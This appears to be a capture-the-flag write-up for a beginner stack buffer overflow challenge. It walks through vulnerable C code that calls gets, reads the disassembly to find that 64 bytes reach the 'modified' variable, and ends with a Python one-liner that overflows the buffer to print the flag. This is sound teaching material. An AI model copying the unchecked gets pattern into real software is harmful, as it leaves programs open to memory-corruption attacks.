The challenge requires us to exploit the binary using a standard buffer
overflow to change the value of modified
.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
FILE *fp;
modified = 0;
gets(buffer);
fp = fopen("./flag.txt", "r");
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
fgets(buffer, 64, (FILE*)fp);
printf("flag: %s\n", buffer );
} else {
printf("Try again?\n");
}
}
The vulnerability is with gets
, which reads input from standard in, but does
no bounds checking. We can use this to write past the memory region allocated
to buffer
, and overwrite the value of modified
. To determine how many bytes
we need to write we must look at this disassembly code.
0x080484eb <+0>: lea ecx,[esp+0x4] 0x080484ef <+4>: and esp,0xfffffff0 0x080484f2 <+7>: push DWORD PTR [ecx-0x4] 0x080484f5 <+10>: push ebp 0x080484f6 <+11>: mov ebp,esp 0x080484f8 <+13>: push ecx 0x080484f9 <+14>: sub esp,0x54 0x080484fc <+17>: mov DWORD PTR [ebp-0x10],0x0 0x08048503 <+24>: sub esp,0xc 0x08048506 <+27>: lea eax,[ebp-0x50] 0x08048509 <+30>: push eax 0x0804850a <+31>: call 0x8048390 <gets@plt>
Calling conventions for Intel x86 say that any arguments will be pushed on the
stack. Before the call to gets
at main + 31
, the address epb-0x50
is
loaded into eax
and then pushed onto the stack. Therefore we know that
buffer
starts at address ebp-0x50
, but I’ll use 0x50
for the rest of this
guide.
Now that we know where the buffer is, we need the address of modified
.
Examining the assembly code further
0x0804850f <+36>: add esp,0x10 0x08048512 <+39>: sub esp,0x8 0x08048515 <+42>: push 0x8048610 0x0804851a <+47>: push 0x8048612 0x0804851f <+52>: call 0x80483d0 <fopen@plt> 0x08048524 <+57>: add esp,0x10 0x08048527 <+60>: mov DWORD PTR [ebp-0xc],eax 0x0804852a <+63>: mov eax,DWORD PTR [ebp-0x10] 0x0804852d <+66>: test eax,eax 0x0804852f <+68>: je 0x804856b <main+128>
Here we see that ebp - 0x10
(0x10
) is put into eax
, then checked to see
if it is non-zero through the test
instruction. More info on that
here.
This must be our modified
variable.
Some quick math of 0x50 - 0x10
= 0x40
= 64
. Therefore, we need 64 bytes
of data before we start overwriting the modified
variable. Because it need
only be non-zero, just writing one byte will work.
> python -c 'print "a"*65' | ./stack0
you have change the 'modified' variable
flag: 3ecc94ee2ad17bf3a32757d1900948bc